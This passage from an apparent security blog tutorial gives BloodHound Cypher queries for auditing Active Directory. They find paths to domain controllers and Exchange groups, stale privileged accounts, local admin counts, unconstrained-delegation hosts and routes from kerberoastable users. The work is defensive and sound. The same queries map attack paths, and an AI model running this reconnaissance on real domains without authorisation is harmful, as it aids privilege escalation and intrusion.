MATCH (u:User)-[:AddMember|AddSelf|WriteSPN|AddKeyCredentialLink|AllExtendedRights|GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns*1..4]->(o)-[:MemberOf]->(g:Group)
WHERE g.name =~ "(?i).*exchange.*"
RETURN DISTINCT(u.name), g.name
Find Users With Admin Access To Domain Controllers
For this query we specifically look for users with nested access to an object, which then has admin access onto computers within a group. This could be altered so that the group name is an Exchange Servers group, or DB servers etc.
MATCH (u:User)-[:AddMember|AddSelf|WriteSPN|AddKeyCredentialLink|AllExtendedRights|GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns|MemberOf*1..4]->(o)-[:AdminTo]->(c:Computer)-[:MemberOf]->(g:Group)
WHERE g.name STARTS WITH "DOMAIN CONTROLLERS"
RETURN DISTINCT(u.name) AS UserName, o.name AS GrantingObjectName, c.name AS DCName
With this query, we can see a number of users go via the Domain Admins group to get access to the FLLABDC Domain Controller. All of the users in this query are actually legitimate domain admin users, so we could extend the query to ignore any users who go via the Domain Admins group (As Domain Admin users will have admin access to Domain Controllers)
MATCH (u:User)-[:AddMember|AddSelf|WriteSPN|AddKeyCredentialLink|AllExtendedRights|GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns|MemberOf*1..4]->(o)-[:AdminTo]->(c:Computer)-[:MemberOf]->(g:Group)
WHERE g.name STARTS WITH "DOMAIN CONTROLLERS" AND NOT(o.name STARTS WITH "DOMAIN ADMIN")
RETURN DISTINCT(u.name) AS UserName, o.name AS GrantingObjectName, c.name AS DCName
Find All Active ‘Decommissioned’ Objects
Focusing on the auditing side of BloodHound, we can search for all objects which mention they are disabled or decommissioned, but are in fact still active. This is very much matter of Active Directory hygiene, and is less about finding a 1337 way of compromising a domain – but you never know!
MATCH (o)
WHERE o.enabled = true AND (o.description =~ "(?i).*disabled.*" OR o.description =~ "(?i).*decom.*")
RETURN o.name AS Name, o.description AS Description
This does rely on the description field containing either ‘disabled’ or ‘decom’, so it isn’t 100% accurate. You could also do a query to look at last login times and perform some sort of logic based on that.
Find The Most Dangerous ‘Decommissioned’ Objects
As a rough way of quantifying the most ‘dangerous’ decommissioned objects, we can perform a basic way of finding outbound access from any users we identified in the query above.
MATCH (o)-[:MemberOf*1..3]->(g:Group)-[r]->(n)
WHERE o.enabled = true AND (o.description =~ "(?i).*disabled.*" OR o.description =~ "(?i).*decom.*") AND r.isacl = true
RETURN o.name AS Name, o.description AS Description, COUNT(DISTINCT(n)) AS OutboundAccess
ORDER BY OutboundAccess DESC
This will look for any groups which our ‘decommissioned’ objects are within, then find the number of objects which those groups can access. We could alter this to look for groups which grant local admin rights, or look for exploitable AD permissions (i.e. GenericAll, WriteDacl etc) rather than nested group membership (i.e. -[:MemberOf*1..3]-> )
Finding Legacy Privileged Accounts
We can leverage the highvalue attribute within BloodHound to find users of interest, and then use the pwdlastset attribute to find accounts with older passwords, which might not be subject to more modern password requirements and could well be very weak.
MATCH (u:User)-[:MemberOf*1..3]->(o)
WHERE o.highvalue = true AND u.enabled = true
RETURN DISTINCT(u.name) AS Name, u.pwdlastset AS PasswordLastSet
ORDER BY PasswordLastSet ASC
We could also modify this to find users who mistakenly have access to high value targets. If we assume that an internal naming scheme of T0_ is used for all Tier 0 accounts, we could ignore them in our query to find all users who arent Tier 0. For example:
MATCH (u:User)-[:MemberOf*1..3]->(o)
WHERE o.highvalue = true AND u.enabled = true AND NOT(u.name STARTS WITH "T0_")
RETURN DISTINCT(u.name) AS Name
Evaluate Local Admin For A List Of Users
If you have a list of users of interest, you might want to evaluate how much onward administrative access they have. For example, users with weak passwords or legacy accounts which are due to be decommissioned. The query below is a basic way of performing this query.
MATCH (u:User)-[:MemberOf*1..3]->(g:Group)-[:AdminTo]->(c:Computer)
WHERE u.name IN ["RSTITCH01791@HTTP418INFOSEC.COM", "CSTURKEY00066@HTTP418INFOSEC.COM", "RFLITCROFT00516@HTTP418INFOSEC.COM"]
RETURN u.name AS Username, COUNT(DISTINCT(c)) AS AdminCount
ORDER BY AdminCount DESC
Which returns the number of systems which each user has local admin access to, showing that RSTITCH01791 is extremely powerful.
Evaluate Devices Which Allow Unconstrained Delegation
Unconstrained Delegation is a very dangerous attack primitive which can allow for a range of attacks. Therefore, it is essential that any devices which allow this attack are known about (and ideally removed!)
We can find devices which support it via the unconstraineddelegation attribute. For example, the query below will find users who are in nested groups, which have local admin access to a device which supports unconstrained delegation.
MATCH (u:User)-[:MemberOf*1..3]->(g:Group)-[:AdminTo]->(c:Computer)
WHERE c.unconstraineddelegation = true AND c.enabled = true AND u.enabled = true
RETURN c.name AS ComputerName, COUNT(DISTINCT(u)) AS AdminCount
ORDER BY AdminCount DESC
This could be extended to include any exploitable AD permissions (i.e. GenericAll, WriteDacl etc) rather than just group membership, but for now we can get a sense of how many users in our organisation have access:
This is the same data as from the Unrolled Admins view on an individual asset – except we can now find this value for every vulnerable device in the BloodHound dataset!
Finding Shortest Path To Unconstrained Delegation
Given our data above, we could simply begin remediation from the devices with the most admins to the least. Whilst this would be a valid way of evaluating the data, we should also consider other factors – such as how easy is it to gain admin access? For example, if one of the admins is kerberoastable then we are in big trouble!
We can check this with the following query:
MATCH p=shortestpath((u:User)-[*1..]->(c:Computer))
WHERE c.unconstraineddelegation = true AND c.enabled = true AND u.enabled = true AND u.hasspn = true
RETURN p
Which we will run in BloodHound’s GUI:
Now we can see that there are a range of kerberoastable users who eventually have access to systems which support unconstrained delegation – including routes via the Domain Admins group!
Summary
In summary, BloodHound is an extremely flexible way of evaluating an AD environment. The ‘standard’ version is excellent at allowing this point-in-time evaluation, with BloodHound Enterprise being far better suited to continuous evaluation.
There are an enormous amount of BloodHound queries both within the tool, and on GitHub which will show even more ways in which Cypher can be used and are a great way of understanding the Cypher language!
